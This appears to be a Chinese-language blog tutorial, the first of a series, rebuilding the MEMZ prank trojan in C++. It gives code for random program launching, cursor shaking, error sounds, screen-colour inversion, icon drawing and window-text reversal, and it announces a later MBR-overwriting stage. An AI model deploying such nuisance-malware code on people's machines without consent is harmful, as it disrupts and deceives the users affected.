“MEMZ是一种存在于微软Windows操作系统中的自制木马病毒,原本是为了Danooct1的“观赏性恶意软件”视频系列和嘲讽那些“玩具病毒”而制作。因其高度复杂和独特的感染特征(大多与网络相关)备受关注和责骂。普遍认为是一款恶作剧病毒”
(选自Malware Wiki-MEMZ)
MEMZ病毒也叫“彩虹猫病毒”,因感染此病毒后重启电脑就会显示彩虹猫图片以及与其搭配的魔性音乐《Nyan Cat》而得名。
接下来我就会仿照MEMZ病毒自己制作一个小病毒,在正式开始之前我们先看看它的发病过程。
全程如下:
彩虹猫发病全过程
我们可以粗略的将病毒分为两块,一块处理感染病毒后到电脑重启前的病毒效果,第二块负责使电脑重启后显示彩虹喵。
下面是官方介绍的过程:
“其他感染阶段”将不做介绍,所以我们需要实现的功能有"打开文本文档···”,“随机打开(搜索)网页、应用程序”等12个基本功能,也就是如下功能
本片文章将先实现红框框内的内容。现在已经有了一个明确的方向,可以开始动手写代码了。
我本次使用的是vs2017
先新建一个win32项目,也就是“Windows 桌面向导”
项目名就叫“Easy_MEMZ”
然后在出现的框框里选择“桌面应用程序(.exe)”和“空项目”
然后我们可以创建文件来写代码
这样一个简单的win32环境就搭建完成了。
众所周知,计算机通过算法生成的随机数都是伪随机数。MEMZ病毒中有很多操作都需要用到随机数,而C++里的rand库函数有很大的局限性,比如实现每次都是“真”的随机数需要使用srand函数提供种子,有时还会有一些特殊的情况发生,所以rand函数并不适合MEMZ病毒的运行。
接下来就是一种全新的方法实现生存随机数,直接上代码
//
//main.cpp
//
#include
HCRYPTPROV prov;
//生成随机数
int random() {
if (prov == NULL)
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))
ExitProcess(1);
int out;
CryptGenRandom(prov, sizeof(out), (BYTE *)(&out));
return out & 0x7fffffff;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
{
return 0;
}
上面的random函数就是MEMZ病毒源码中实现生成随机整数的代码,至于原理有点生僻,这里不做介绍,直接ctrl+c,ctrl+v拿去用就行了
MEMZ源码在github上有,我会在文章末尾放上连接。
这个功能比较简单,原理就是先将一些程序的名字(如cmd,explorer)放进一个字符串数组,然后通过随机数随机选取一个程序并运行它。
下面是代码实现
//
//main.cpp
//
#include
#define MAX_EXECUTE 8
HCRYPTPROV prov;
//定义需要随机打开的程序
LPCWSTR lpExecuteName[MAX_EXECUTE] = {
L"calc", //计算器
L"cmd", //命令提示符
L"explorer", //资源管理器
L"mspaint", //画图
L"taskmgr", //任务管理器
L"regedit", //注册表
L"write", //写字板
L"credwiz" //用户工具
};
...
//打开随机程序
void PlayloadExecute()
{
//获取桌面窗口的句柄
HWND hDesktop = GetDesktopWindow();
//打开任意程序
ShellExecute(hDesktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...
(注:以上代码为不完整代码,“...”意为省略部分代码)
ShellExecute函数 比较简单,此处作用是打开程序,其中“random() % MAX_EXECUTE”意为生成范围是0~(MAX_EXECUTE-1)的随机整数,也就是生成随机索引指定随机的程序。
接下来我们可以使用一下它
...
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
{
PlayloadExecute();
return 0;
}
多次运行可以发现每次都是启动不同的程序,主页我们就实现了这个简单的功能
鼠标指针的移动,也就是鼠标震动(乱动),效果如下
它的原理非常简单,就是取当前光标位置的x,y值然后给它们任意加上或减去任意值,再将光标位置设置为改动后的位置,具体实现如下
...
#define MAX_EXECUTE 8
//光标抖动频率
int cursor_freq = 0;
HCRYPTPROV prov;
...
ShellExecute(hDesktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);
}
//光标抖动
void PlayloadCursor()
{
//获取当前光标位置
POINT cursor;
GetCursorPos(&cursor);
//设置光标位置
SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)));
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...
GetCursorPos函数和SetCursorPos函数都比较简单,这里只需要解释下面这一句
SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)));
首先设置光标的新横坐标为
cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2))
random() % 3 - 1 意为随机生成范围为 -1~1 的随机数,设其为A段
random() % (cursor_freq / 2200 + 2) 意为生成 0~(cursor_freq / 2200 + 2)-1 的随机数,设其为B段
A段的作用就是规定光标向左偏移(-1)还是向右偏移(1)还是不动(0)
而B段的作用是规定光标偏移的大小(震动的幅度),由cursor_freq的值决定,cursor_freq越大光标震动的幅度越大,+ 2是为了防止cursor_freq 未达到2200使B段都一直为0,使光标不进行偏移,2200可以随意更改。
A段乘B段的结果就是光标的偏移大小,当前光标位置加上偏移大小就是新的光标位置
设置纵坐标同理。
如果你没有看懂上面这段,请再仔细读一遍,如果实在看不懂,那么请先学习或巩固一下C++随机数的基础知识和小学数学
它的原理和“随机打开(搜索)网页、应用程序”的原理大同小异,甚至比它还要简单,就是将一些提示音的名字放入一个列表,再随机取出一个用 PlaySound函数 播放(PlaySound函数可以直接传入提示音名播放提示音),代码如下
...
#define MAX_EXECUTE 8
#define MAX_SOUNDS 3
int cursor_freq = 0;
...
L"credwiz" //用户工具
};
//提示音列表
LPCWSTR lpSoundsName[MAX_SOUNDS] = {
L"SystemHand",
L"SystemQuestion",
L"SystemExclamation"
};
//生成随机数
int random()
...
//设置光标位置
SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)));
}
//错误的提示声效
void PlayloadSound()
{
//播放随机提示音
PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...
因为过于简单句不过多赘述。
就是反转桌面颜色,效果如下
实现该效果的原理也很简单就是使用 BitBlt函数 将桌面的颜色反转,具体操作如下
...
#define MAX_SOUNDS 3
//PlaySound函数需要Winmm.lib库文件
#pragma comment(lib, "Winmm.lib")
int cursor_freq = 0;
...
...
//播放随机提示音
PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);
}
//颜色反转
void PlayloadBlink()
{
//获取窗口句柄
HWND hDesktop = GetDesktopWindow();
//获取窗口dc
HDC hdc = GetWindowDC(hDesktop);
//获取桌面窗口信息
RECT rekt;
GetWindowRect(hDesktop, &rekt);
//将屏幕颜色反转
BitBlt(hdc, 0, 0, rekt.right - rekt.left, rekt.bottom - rekt.top, hdc, 0, 0, NOTSRCCOPY);
//释放dc
ReleaseDC(hDesktop, hdc);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...
BitBlt函数最后一个参数填“NOTSRCCOPY”意为“将倒置源矩形复制到目标”,也就是将颜色反转,本质就是将rgb颜色里的r和b交换一下变成bgr,再把它当做rgb
如果看不懂没关系,只要知道它能够反转颜色就行了
效果如下(颜色反转+错误图标)
它分成两部分,一是错误图标跟着光标一起动,二是绘制在桌面上的错误图标,其原理也很简单,就是使用 DrawIcon函数 绘制错误图标,具体操作如下
...
//释放dc
ReleaseDC(hDesktop, hdc);
}
//绘制错误图标
void PlayloadIcon()
{
//获取桌面宽
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
//获取桌面高
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
//获取窗口句柄
HWND hDesktop = GetDesktopWindow();
//获取窗口dc
HDC hdc = GetWindowDC(hDesktop);
//获取光标位置
POINT cursor;
GetCursorPos(&cursor);
//在光标位置处画错误图标
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
//在屏幕随机位置画上警告图标
if (random() % 3 == 0) //取随机数,如果此数能被3整除则在屏幕上任意位置画一个警告标志
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...
比较简单就不多说什么了
这可能是本片文章唯一一个有点复杂的功能,它的原理是使用 EnumChildWindows函数 枚举所有子窗口并通过 WM_GETTEXT消息 获取其文本并将其反转再通过 WM_SETTEXT消息 将已反转的文字重新设置到子窗口上
代码实现如下
...
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
}
//文本翻转
BOOL ReverseTCHAR(TCHAR* lpSrc)
{
//获取字符串长度
int size = lstrlenW(lpSrc);
//如果为0就返回false
if (size == 0)
return FALSE;
/*
将第一个字符先赋值给临时变量wchar,再将最后一个字符赋值给第一个字符,
使第一个字符变成最后一个字符,再将wchar里的字符赋值给最后一个字符,
重复此操作使字符串反转
*/
TCHAR wchar = 0;
for (int i = 0; i < (size / 2); i++)
// i < (size / 2) 是为了防止二次反转,如果不懂拿个草稿纸自己写一下反转全过程就会明白了
{
wchar = lpSrc[i];
lpSrc[i] = lpSrc[size - i - 1];
lpSrc[size - i - 1] = wchar;
}
return TRUE;
}
//枚举所有子窗口的回调函数
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
TCHAR str[8192] = { 0 };
//发送WM_GETTEXT获取标题文本
if (SendMessageTimeoutW(hwnd, WM_GETTEXT, 8192, (LPARAM)str, SMTO_ABORTIFHUNG, 100, NULL)) {
//反转文本
ReverseTCHAR(str);
//发送WM_SETTEXT重新设置标题文本
SendMessageTimeoutW(hwnd, WM_SETTEXT, NULL, (LPARAM)str, SMTO_ABORTIFHUNG, 100, NULL);
}
return TRUE;
}
//文字反转
void PlayloadChangeText()
{
//枚举所有子窗口
EnumChildWindows(GetDesktopWindow(), &EnumChildProc, NULL);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...
我想我的注释已经讲的够详细了,如果看不懂请先去学习或巩固一下win32的知识和 EnumChildWindows函数 的用法。
本篇文章已经结束,其他的放到下一篇文章来讲吧。
后面的功能会越来越高级,同时也会越来越难,尤其是修改MBR使其发声和播放动画,甚至涉及到了汇编的一亿些知识,同时我因为学业紧张,下一次更新可能是暑假了qwq
如果有不懂的地方或本文哪里有错误欢迎私信告诉我
本片完整代码(会随着进度更新):https://github.com/Bluepuzhuong/Easy_MEMZ
MEMZ病毒源码:GitHub - NyDubh3/MEMZ: A trojan made for Danooct1's User Made Malware Series.